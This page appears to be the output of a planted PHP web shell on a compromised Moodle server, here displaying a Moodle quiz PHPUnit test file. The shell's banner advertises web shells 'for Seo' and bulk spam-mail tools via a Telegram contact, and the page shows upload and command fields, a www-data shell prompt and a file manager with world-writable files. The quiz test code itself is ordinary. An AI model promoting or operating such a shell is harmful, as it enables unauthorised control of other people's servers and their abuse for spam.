__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

namespace mod_quiz;

use core_question\local\bank\condition;
use core_question\local\bank\question_version_status;
use core_question_generator;
use mod_quiz_generator;
use question_engine;

defined('MOODLE_INTERNAL') || die();

global $CFG;
require_once($CFG->dirroot . '/mod/quiz/locallib.php');

/**
 * Tests for the quiz_attempt class.
 *
 * @package   mod_quiz
 * @category  test
 * @copyright 2014 Tim Hunt
 * @license   http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 * @covers \mod_quiz\quiz_attempt
 */
final class attempt_test extends \advanced_testcase {

    /**
     * Create quiz and attempt data with layout.
     *
     * @param string $layout layout to set. Like quiz attempt.layout. E.g. '1,2,0,3,4,0,'.
     * @param string $navmethod quiz navigation method (defaults to free)
     * @return quiz_attempt the new quiz_attempt object
     */
    protected function create_quiz_and_attempt_with_layout($layout, $navmethod = QUIZ_NAVMETHOD_FREE) {
        $this->resetAfterTest(true);

        // Make a user to do the quiz.
        $user = $this->getDataGenerator()->create_user();
        $course = $this->getDataGenerator()->create_course();
        // Make a quiz.
        $quizgenerator = $this->getDataGenerator()->get_plugin_generator('mod_quiz');
        $quiz = $quizgenerator->create_instance(['course' => $course->id,
            'grade' => 100.0, 'sumgrades' => 2, 'navmethod' => $navmethod]);

        $quizobj = quiz_settings::create($quiz->id, $user->id);

        $questiongenerator = $this->getDataGenerator()->get_plugin_generator('core_question');
        $cat = $questiongenerator->create_question_category();

        $page = 1;
        foreach (explode(',', $layout) as $slot) {
            if ($slot == 0) {
                $page += 1;
                continue;
            }

            $question = $questiongenerator->create_question('shortanswer', null, ['category' => $cat->id]);
            quiz_add_quiz_question($question->id, $quiz, $page);
        }

        $attempt = quiz_prepare_and_start_new_attempt($quizobj, 1, null, false, [], [], $user->id);
        return quiz_attempt::create($attempt->id);
    }

    public function test_attempt_url(): void {
        $attempt = $this->create_quiz_and_attempt_with_layout('1,2,0,3,4,0,5,6,0');

        $attemptid = $attempt->get_attempt()->id;
        $cmid = $attempt->get_cmid();
        $url = '/mod/quiz/attempt.php';
        $params = ['attempt' => $attemptid, 'cmid' => $cmid, 'page' => 2];

        $this->assertEquals(new \moodle_url($url, $params), $attempt->attempt_url(null, 2));

        $params['page'] = 1;
        $this->assertEquals(new \moodle_url($url, $params), $attempt->attempt_url(3));

        $questionattempt = $attempt->get_question_attempt(4);
        $expecteanchor = $questionattempt->get_outer_question_div_unique_id();
        $this->assertEquals(new \moodle_url($url, $params, $expecteanchor), $attempt->attempt_url(4));

        $questionattempt = $attempt->get_question_attempt(3);
        $expecteanchor = '#' . $questionattempt->get_outer_question_div_unique_id();
        $this->assertEquals(new \moodle_url('#'), $attempt->attempt_url(null, 2, 2));
        $this->assertEquals(new \moodle_url($expecteanchor), $attempt->attempt_url(3, -1, 1));

        $questionattempt = $attempt->get_question_attempt(4);
        $expecteanchor = $questionattempt->get_outer_question_div_unique_id();
        $this->assertEquals(new \moodle_url(null, null, $expecteanchor, null), $attempt->attempt_url(4, -1, 1));

        // Summary page.
        $url = '/mod/quiz/summary.php';
        unset($params['page']);
        $this->assertEquals(new \moodle_url($url, $params), $attempt->summary_url());

        // Review page.
        $url = '/mod/quiz/review.php';
        $this->assertEquals(new \moodle_url($url, $params), $attempt->review_url());

        $params['page'] = 1;
        $this->assertEquals(new \moodle_url($url, $params), $attempt->review_url(3, -1, false));
        $this->assertEquals(new \moodle_url($url, $params, $expecteanchor), $attempt->review_url(4, -1, false));

        unset($params['page']);
        $this->assertEquals(new \moodle_url($url, $params), $attempt->review_url(null, 2, true));
        $this->assertEquals(new \moodle_url($url, $params), $attempt->review_url(1, -1, true));

        $params['page'] = 2;
        $this->assertEquals(new \moodle_url($url, $params), $attempt->review_url(null, 2, false));
        unset($params['page']);

        $params['showall'] = 0;
        $this->assertEquals(new \moodle_url($url, $params), $attempt->review_url(null, 0, false));
        $this->assertEquals(new \moodle_url($url, $params), $attempt->review_url(1, -1, false));

        $params['page'] = 1;
        unset($params['showall']);
        $this->assertEquals(new \moodle_url($url, $params), $attempt->review_url(3, -1, false));

        $params['page'] = 2;
        $this->assertEquals(new \moodle_url($url, $params), $attempt->review_url(null, 2));
        $this->assertEquals(new \moodle_url('#'), $attempt->review_url(null, -1, null, 0));

        $questionattempt = $attempt->get_question_attempt(3);
        $expecteanchor = '#' . $questionattempt->get_outer_question_div_unique_id();
        $this->assertEquals(new \moodle_url($expecteanchor), $attempt->review_url(3, -1, null, 0));

        $questionattempt = $attempt->get_question_attempt(4);
        $expecteanchor = '#' . $questionattempt->get_outer_question_div_unique_id();
        $this->assertEquals(new \moodle_url($expecteanchor), $attempt->review_url(4, -1, null, 0));
        $this->assertEquals(new \moodle_url('#'), $attempt->review_url(null, 2, true, 0));

        $questionattempt = $attempt->get_question_attempt(1);
        $expecteanchor = '#' . $questionattempt->get_outer_question_div_unique_id();
        $this->assertEquals(new \moodle_url($expecteanchor), $attempt->review_url(1, -1, true, 0));
        $this->assertEquals(new \moodle_url($expecteanchor), $attempt->review_url(1, -1, false, 0));
        $this->assertEquals(new \moodle_url($url, $params), $attempt->review_url(null, 2, false, 0));
        $this->assertEquals(new \moodle_url('#'), $attempt->review_url(null, 0, false, 0));

        $params['page'] = 1;
        $this->assertEquals(new \moodle_url($url, $params), $attempt->review_url(3, -1, false, 0));

        // Setup another attempt.
        $attempt = $this->create_quiz_and_attempt_with_layout(
            '1,2,3,4,5,6,7,8,9,10,0,11,12,13,14,15,16,17,18,19,20,0,' .
            '21,22,23,24,25,26,27,28,29,30,0,31,32,33,34,35,36,37,38,39,40,0,' .
            '41,42,43,44,45,46,47,48,49,50,0,51,52,53,54,55,56,57,58,59,60,0');

        $attemptid = $attempt->get_attempt()->id;
        $cmid = $attempt->get_cmid();
        $params = ['attempt' => $attemptid, 'cmid' => $cmid];
        $this->assertEquals(new \moodle_url($url, $params), $attempt->review_url());

        $params['page'] = 2;
        $this->assertEquals(new \moodle_url($url, $params), $attempt->review_url(null, 2));

        $params['page'] = 1;
        unset($params['showall']);
        $this->assertEquals(new \moodle_url($url, $params), $attempt->review_url(11, -1, false));

        $questionattempt = $attempt->get_question_attempt(12);
        $expecteanchor = $questionattempt->get_outer_question_div_unique_id();
        $this->assertEquals(new \moodle_url($url, $params, $expecteanchor), $attempt->review_url(12, -1, false));

        $params['showall'] = 1;
        unset($params['page']);
        $this->assertEquals(new \moodle_url($url, $params), $attempt->review_url(null, 2, true));

        $this->assertEquals(new \moodle_url($url, $params), $attempt->review_url(1, -1, true));
        $params['page'] = 2;
        unset($params['showall']);
        $this->assertEquals(new \moodle_url($url, $params),  $attempt->review_url(null, 2, false));
        unset($params['page']);
        $this->assertEquals(new \moodle_url($url, $params), $attempt->review_url(null, 0, false));
        $params['page'] = 1;
        $this->assertEquals(new \moodle_url($url, $params), $attempt->review_url(11, -1, false));
        $this->assertEquals(new \moodle_url($url, $params, $expecteanchor), $attempt->review_url(12, -1, false));
        $params['page'] = 2;
        $this->assertEquals(new \moodle_url($url, $params), $attempt->review_url(null, 2));
        $this->assertEquals(new \moodle_url('#'), $attempt->review_url(null, -1, null, 0));

        $questionattempt = $attempt->get_question_attempt(3);
        $expecteanchor = $questionattempt->get_outer_question_div_unique_id();
        $this->assertEquals(new \moodle_url(null, null, $expecteanchor), $attempt->review_url(3, -1, null, 0));

        $questionattempt = $attempt->get_question_attempt(4);
        $expecteanchor = $questionattempt->get_outer_question_div_unique_id();
        $this->assertEquals(new \moodle_url(null, null, $expecteanchor), $attempt->review_url(4, -1, null, 0));

        $questionattempt = $attempt->get_question_attempt(1);
        $expecteanchor = '#' . $questionattempt->get_outer_question_div_unique_id();
        $this->assertEquals(new \moodle_url($expecteanchor), $attempt->review_url(1, -1, true, 0));
        $this->assertEquals(new \moodle_url('#'), $attempt->review_url(null, 2, true, 0));

        $params['page'] = 2;
        $questionattempt = $attempt->get_question_attempt(1);
        $expecteanchor = '#' . $questionattempt->get_outer_question_div_unique_id();
        $this->assertEquals(new \moodle_url($expecteanchor), $attempt->review_url(1, -1, false, 0));
        $this->assertEquals(new \moodle_url($url, $params), $attempt->review_url(null, 2, false, 0));
        $this->assertEquals(new \moodle_url('#'), $attempt->review_url(null, 0, false, 0));

        $params['page'] = 1;
        $this->assertEquals(new \moodle_url($url, $params), $attempt->review_url(11, -1, false, 0));
    }

    /**
     * Tests attempt page titles when all questions are on a single page.
     */
    public function test_attempt_titles_single(): void {
        $attempt = $this->create_quiz_and_attempt_with_layout('1,2,0');

        // Attempt page.
        $this->assertEquals('Quiz 1', $attempt->attempt_page_title(0));

        // Summary page.
        $this->assertEquals('Quiz 1: Attempt summary', $attempt->summary_page_title());

        // Review page.
        $this->assertEquals('Quiz 1: Attempt review', $attempt->review_page_title(0));
    }

    /**
     * Tests attempt page titles when questions are on multiple pages, but are reviewed on a single page.
     */
    public function test_attempt_titles_multiple_single(): void {
        $attempt = $this->create_quiz_and_attempt_with_layout('1,2,0,3,4,0,5,6,0');

        // Attempt page.
        $this->assertEquals('Quiz 1 (page 1 of 3)', $attempt->attempt_page_title(0));
        $this->assertEquals('Quiz 1 (page 2 of 3)', $attempt->attempt_page_title(1));
        $this->assertEquals('Quiz 1 (page 3 of 3)', $attempt->attempt_page_title(2));

        // Summary page.
        $this->assertEquals('Quiz 1: Attempt summary', $attempt->summary_page_title());

        // Review page.
        $this->assertEquals('Quiz 1: Attempt review', $attempt->review_page_title(0, true));
    }

    /**
     * Tests attempt page titles when questions are on multiple pages, and they are reviewed on multiple pages as well.
     */
    public function test_attempt_titles_multiple_multiple(): void {
        $attempt = $this->create_quiz_and_attempt_with_layout(
                '1,2,3,4,5,6,7,8,9,10,0,11,12,13,14,15,16,17,18,19,20,0,' .
                '21,22,23,24,25,26,27,28,29,30,0,31,32,33,34,35,36,37,38,39,40,0,' .
                '41,42,43,44,45,46,47,48,49,50,0,51,52,53,54,55,56,57,58,59,60,0');

        // Attempt page.
        $this->assertEquals('Quiz 1 (page 1 of 6)', $attempt->attempt_page_title(0));
        $this->assertEquals('Quiz 1 (page 2 of 6)', $attempt->attempt_page_title(1));
        $this->assertEquals('Quiz 1 (page 6 of 6)', $attempt->attempt_page_title(5));

        // Summary page.
        $this->assertEquals('Quiz 1: Attempt summary', $attempt->summary_page_title());

        // Review page.
        $this->assertEquals('Quiz 1: Attempt review (page 1 of 6)', $attempt->review_page_title(0));
        $this->assertEquals('Quiz 1: Attempt review (page 2 of 6)', $attempt->review_page_title(1));
        $this->assertEquals('Quiz 1: Attempt review (page 6 of 6)', $attempt->review_page_title(5));

        // When all questions are shown.
        $this->assertEquals('Quiz 1: Attempt review', $attempt->review_page_title(0, true));
        $this->assertEquals('Quiz 1: Attempt review', $attempt->review_page_title(1, true));
    }

    public function test_is_participant(): void {
        global $USER;
        $this->resetAfterTest();
        $this->setAdminUser();
        $course = $this->getDataGenerator()->create_course();
        $student = $this->getDataGenerator()->create_and_enrol($course, 'student');
        $student2 = $this->getDataGenerator()->create_and_enrol($course, 'student', [], 'manual', 0, 0, ENROL_USER_SUSPENDED);
        $quiz = $this->getDataGenerator()->create_module('quiz', ['course' => $course->id]);
        $quizobj = quiz_settings::create($quiz->id);

        // Login as student.
        $this->setUser($student);
        // Convert to a lesson object.
        $this->assertEquals(true, $quizobj->is_participant($student->id),
            'Student is enrolled, active and can participate');

        // Login as student2.
        $this->setUser($student2);
        $this->assertEquals(false, $quizobj->is_participant($student2->id),
            'Student is enrolled, suspended and can NOT participate');

        // Login as an admin.
        $this->setAdminUser();
        $this->assertEquals(false, $quizobj->is_participant($USER->id),
            'Admin is not enrolled and can NOT participate');

        $this->getDataGenerator()->enrol_user(2, $course->id);
        $this->assertEquals(true, $quizobj->is_participant($USER->id),
            'Admin is enrolled and can participate');

        $this->getDataGenerator()->enrol_user(2, $course->id, null, 'manual', 0, 0, ENROL_USER_SUSPENDED);
        $this->assertEquals(true, $quizobj->is_participant($USER->id),
            'Admin is enrolled, suspended and can participate');
    }

    /**
     * Test quiz_prepare_and_start_new_attempt function
     */
    public function test_quiz_prepare_and_start_new_attempt(): void {
        global $USER;
        $this->resetAfterTest();

        // Create course.
        $course = $this->getDataGenerator()->create_course();
        // Create students.
        $student1 = $this->getDataGenerator()->create_and_enrol($course, 'student');
        $student2 = $this->getDataGenerator()->create_and_enrol($course, 'student');
        // Create quiz.
        $quizgenerator = $this->getDataGenerator()->get_plugin_generator('mod_quiz');
        $quiz = $quizgenerator->create_instance(['course' => $course->id, 'grade' => 100.0, 'sumgrades' => 2, 'layout' => '1,0']);
        // Create question and add it to quiz.
        $questiongenerator = $this->getDataGenerator()->get_plugin_generator('core_question');
        $cat = $questiongenerator->create_question_category();
        $question = $questiongenerator->create_question('shortanswer', null, ['category' => $cat->id]);
        quiz_add_quiz_question($question->id, $quiz, 1);

        $quizobj = quiz_settings::create($quiz->id);

        // Login as student1.
        $this->setUser($student1);
        // Create attempt for student1.
        $attempt = quiz_prepare_and_start_new_attempt($quizobj, 1, null, false, [], []);
        $this->assertEquals($student1->id, $attempt->userid);
        $this->assertEquals(0, $attempt->preview);

        // Login as student2.
        $this->setUser($student2);
        // Create attempt for student2.
        $attempt = quiz_prepare_and_start_new_attempt($quizobj, 1, null, false, [], []);
        $this->assertEquals($student2->id, $attempt->userid);
        $this->assertEquals(0, $attempt->preview);

        // Login as admin.
        $this->setAdminUser();
        // Create attempt for student1.
        $attempt = quiz_prepare_and_start_new_attempt($quizobj, 2, null, false, [], [], $student1->id);
        $this->assertEquals($student1->id, $attempt->userid);
        $this->assertEquals(0, $attempt->preview);
        $student1attempt = $attempt; // Save for extra verification below.
        // Create attempt for student2.
        $attempt = quiz_prepare_and_start_new_attempt($quizobj, 2, null, false, [], [], $student2->id);
        $this->assertEquals($student2->id, $attempt->userid);
        $this->assertEquals(0, $attempt->preview);
        // Create attempt for user id that the same with current $USER->id.
        $attempt = quiz_prepare_and_start_new_attempt($quizobj, 2, null, false, [], [], $USER->id);
        $this->assertEquals($USER->id, $attempt->userid);
        $this->assertEquals(1, $attempt->preview);

        // Check that the userid stored in the first step is the user the attempt is for,
        // not the user who triggered the creation.
        $quba = question_engine::load_questions_usage_by_activity($student1attempt->uniqueid);
        $step = $quba->get_question_attempt(1)->get_step(0);
        $this->assertEquals($student1->id, $step->get_user_id());
    }

    /**
     * Test quiz_prepare_and_start_new_attempt function
     */
    public function test_quiz_prepare_and_start_new_attempt_random_draft(): void {
        $this->resetAfterTest();
        $this->setAdminUser();

        // Create course.
        $course = $this->getDataGenerator()->create_course();
        // Create quiz.
        /** @var mod_quiz_generator $quizgenerator */
        $quizgenerator = $this->getDataGenerator()->get_plugin_generator('mod_quiz');
        $quiz = $quizgenerator->create_instance(['course' => $course->id]);

        // Create question with 2 versions. V1 ready. V2 draft.
        /** @var core_question_generator $questiongenerator */
        $questiongenerator = $this->getDataGenerator()->get_plugin_generator('core_question');
        $category = $questiongenerator->create_question_category();
        $question = $questiongenerator->create_question('shortanswer', null,
                ['questiontext' => 'V1', 'category' => $category->id]);
        $questiongenerator->update_question($question, null,
                ['questiontext' => 'V2', 'status' => question_version_status::QUESTION_STATUS_DRAFT]);

        // Add a random question form that category.
        $filtercondition = [
            'filter' => [
                'category' => [
                    'jointype' => condition::JOINTYPE_DEFAULT,
                    'values' => [$category->id],
                    'filteroptions' => ['includesubcategories' => false],
                ],
            ],
        ];
        $quizobj = quiz_settings::create($quiz->id);
        $quizobj->get_structure()->add_random_questions(1, 1, $filtercondition);
        $quizobj->get_grade_calculator()->recompute_quiz_sumgrades();

        // Create an attempt.
        $quizobj = quiz_settings::create($quiz->id);
        $attempt = quiz_prepare_and_start_new_attempt($quizobj, 1, null);
        $this->assertEquals(1, $attempt->preview);
    }

    /**
     * Test check_page_access function
     * @covers \quiz_attempt::check_page_access
     */
    public function test_check_page_access(): void {
        $timenow = time();

        // Free navigation.
        $attempt = $this->create_quiz_and_attempt_with_layout('1,0,2,0,3,0,4,0,5,0', QUIZ_NAVMETHOD_FREE);

        // Check access.
        $this->assertTrue($attempt->check_page_access(4));
        $this->assertTrue($attempt->check_page_access(3));
        $this->assertTrue($attempt->check_page_access(2));
        $this->assertTrue($attempt->check_page_access(1));
        $this->assertTrue($attempt->check_page_access(0));
        $this->assertTrue($attempt->check_page_access(2));

        // Access page 2.
        $attempt->set_currentpage(2);
        $attempt = quiz_attempt::create($attempt->get_attempt()->id);

        // Check access.
        $this->assertTrue($attempt->check_page_access(0));
        $this->assertTrue($attempt->check_page_access(1));
        $this->assertTrue($attempt->check_page_access(2));
        $this->assertTrue($attempt->check_page_access(3));
        $this->assertTrue($attempt->check_page_access(4));

        // Sequential navigation.
        $attempt = $this->create_quiz_and_attempt_with_layout('1,0,2,0,3,0,4,0,5,0', QUIZ_NAVMETHOD_SEQ);

        // Check access.
        $this->assertTrue($attempt->check_page_access(0));
        $this->assertTrue($attempt->check_page_access(1));
        $this->assertFalse($attempt->check_page_access(2));
        $this->assertFalse($attempt->check_page_access(3));
        $this->assertFalse($attempt->check_page_access(4));

        // Access page 1.
        $attempt->set_currentpage(1);
        $attempt = quiz_attempt::create($attempt->get_attempt()->id);
        $this->assertTrue($attempt->check_page_access(1));

        // Access page 2.
        $attempt->set_currentpage(2);
        $attempt = quiz_attempt::create($attempt->get_attempt()->id);
        $this->assertTrue($attempt->check_page_access(2));

        $this->assertTrue($attempt->check_page_access(3));
        $this->assertFalse($attempt->check_page_access(4));
        $this->assertFalse($attempt->check_page_access(1));
    }

    /**
     * Starting a new attempt with a question in draft status should throw an exception.
     *
     * @covers ::quiz_start_new_attempt()
     * @return void
     */
    public function test_start_new_attempt_with_draft(): void {
        $this->resetAfterTest();

        // Create course.
        $course = $this->getDataGenerator()->create_course();
        // Create students.
        $student1 = $this->getDataGenerator()->create_and_enrol($course, 'student');
        $student2 = $this->getDataGenerator()->create_and_enrol($course, 'student');
        // Create quiz.
        $quizgenerator = $this->getDataGenerator()->get_plugin_generator('mod_quiz');
        $quiz = $quizgenerator->create_instance(['course' => $course->id, 'grade' => 100.0, 'sumgrades' => 2, 'layout' => '1,0']);
        // Create question and add it to quiz.
        $questiongenerator = $this->getDataGenerator()->get_plugin_generator('core_question');
        $cat = $questiongenerator->create_question_category();
        $question = $questiongenerator->create_question('shortanswer', null,
                ['category' => $cat->id, 'status' => question_version_status::QUESTION_STATUS_DRAFT]);
        quiz_add_quiz_question($question->id, $quiz, 1);

        $quizobj = quiz_settings::create($quiz->id);
        $quba = question_engine::make_questions_usage_by_activity('mod_quiz', $quizobj->get_context());
        $quba->set_preferred_behaviour($quizobj->get_quiz()->preferredbehaviour);
        $attempt = quiz_create_attempt($quizobj, 1, false, time(), false, $student1->id);

        $this->expectExceptionObject(new \moodle_exception('questiondraftonly', 'mod_quiz', '', $question->name));
        quiz_start_new_attempt($quizobj, $quba, $attempt, 1, time());
    }

    /**
     * Starting a new attempt built on last with a question in draft status should throw an exception.
     *
     * @covers ::quiz_start_attempt_built_on_last()
     * @return void
     */
    public function test_quiz_start_attempt_built_on_last_with_draft(): void {
        global $DB;
        $this->resetAfterTest();

        // Create course.
        $course = $this->getDataGenerator()->create_course();
        // Create students.
        $student1 = $this->getDataGenerator()->create_and_enrol($course, 'student');
        $student2 = $this->getDataGenerator()->create_and_enrol($course, 'student');
        // Create quiz.
        $quizgenerator = $this->getDataGenerator()->get_plugin_generator('mod_quiz');
        $quiz = $quizgenerator->create_instance(['course' => $course->id, 'grade' => 100.0, 'sumgrades' => 2, 'layout' => '1,0']);
        // Create question and add it to quiz.
        $questiongenerator = $this->getDataGenerator()->get_plugin_generator('core_question');
        $cat = $questiongenerator->create_question_category();
        $question = $questiongenerator->create_question('shortanswer', null, ['category' => $cat->id]);
        quiz_add_quiz_question($question->id, $quiz, 1);

        $quizobj = quiz_settings::create($quiz->id);
        $quba = question_engine::make_questions_usage_by_activity('mod_quiz', $quizobj->get_context());
        $quba->set_preferred_behaviour($quizobj->get_quiz()->preferredbehaviour);
        $attempt = quiz_create_attempt($quizobj, 1, false, time(), false, $student1->id);
        $attempt = quiz_start_new_attempt($quizobj, $quba, $attempt, 1, time());
        $attempt = quiz_attempt_save_started($quizobj, $quba, $attempt);
        $DB->set_field('question_versions', 'status', question_version_status::QUESTION_STATUS_DRAFT,
                ['questionid' => $question->id]);
        // We need to reset the cache since the question has been edited by changing its status to draft.
        \question_bank::notify_question_edited($question->id);
        $quizobj = quiz_settings::create($quiz->id);
        $quba = question_engine::make_questions_usage_by_activity('mod_quiz', $quizobj->get_context());
        $quba->set_preferred_behaviour($quizobj->get_quiz()->preferredbehaviour);
        $newattempt = quiz_create_attempt($quizobj, 2, $attempt, time(), false, $student1->id);

        $this->expectExceptionObject(new \moodle_exception('questiondraftonly', 'mod_quiz', '', $question->name));
        quiz_start_attempt_built_on_last($quba, $newattempt, $attempt);
    }

    public function test_get_grade_item_totals(): void {
        $attemptobj = $this->create_quiz_and_attempt_with_layout('1,2,3,0');
        /** @var mod_quiz_generator $quizgenerator */
        $quizgenerator = $this->getDataGenerator()->get_plugin_generator('mod_quiz');

        // Set up some section grades.
        $listeninggrade = $quizgenerator->create_grade_item(['quizid' => $attemptobj->get_quizid(), 'name' => 'Listening']);
        $readinggrade = $quizgenerator->create_grade_item(['quizid' => $attemptobj->get_quizid(), 'name' => 'Reading']);
        $structure = $attemptobj->get_quizobj()->get_structure();
        $structure->update_slot_grade_item($structure->get_slot_by_number(1), $listeninggrade->id);
        $structure->update_slot_grade_item($structure->get_slot_by_number(2), $listeninggrade->id);
        $structure->update_slot_grade_item($structure->get_slot_by_number(3), $readinggrade->id);

        // Reload the attempt and verify.
        $attemptobj = quiz_attempt::create($attemptobj->get_attemptid());
        $grades = $attemptobj->get_grade_item_totals();

        // All grades zero because student has not done the quiz yet, but this is a sufficent test.
        $this->assertEquals('Listening', $grades[$listeninggrade->id]->name);
        $this->assertEquals(0, $grades[$listeninggrade->id]->grade);
        $this->assertEquals(2, $grades[$listeninggrade->id]->maxgrade);
        $this->assertEquals('Reading', $grades[$readinggrade->id]->name);
        $this->assertEquals(0, $grades[$readinggrade->id]->grade);
        $this->assertEquals(1, $grades[$readinggrade->id]->maxgrade);
    }
}

Filemanager

Name Type Size Permission Actions
backup Folder 0777
behat Folder 0777
classes Folder 0777
event Folder 0777
external Folder 0777
fixtures Folder 0777
generator Folder 0777
local Folder 0777
output Folder 0777
privacy Folder 0777
question Folder 0777
attempt_test.php File 27.6 KB 0777
attempt_walkthrough_from_csv_test.php File 1.23 KB 0777
attempt_walkthrough_test.php File 29.43 KB 0777
attempts_test.php File 40.43 KB 0777
calendar_event_modified_test.php File 18.59 KB 0777
custom_completion_test.php File 21.25 KB 0777
dates_test.php File 7.16 KB 0777
generator_test.php File 5.66 KB 0777
lib_test.php File 43.33 KB 0777
local_structure_slot_random_test.php File 12.15 KB 0777
locallib_test.php File 29.87 KB 0777
notification_helper_test.php File 9.83 KB 0777
privacy_legacy_quizaccess_polyfill_test.php File 6.9 KB 0777
qbank_helper_test.php File 9.08 KB 0777
quiz_notify_attempt_manual_grading_completed_test.php File 11.99 KB 0777
quiz_question_bank_view_test.php File 9.51 KB 0777
quiz_question_helper_test_trait.php File 1019 B 0777
quiz_question_restore_test.php File 27.72 KB 0777
quiz_question_version_test.php File 11.91 KB 0777
quizobj_test.php File 5.24 KB 0777
repaginate_test.php File 10.58 KB 0777
reportlib_test.php File 7.24 KB 0777
restore_attempt_test.php File 4.38 KB 0777
restore_override_test.php File 3.64 KB 0777
structure_test.php File 40.23 KB 0777
tags_test.php File 4.55 KB 0777
Filemanager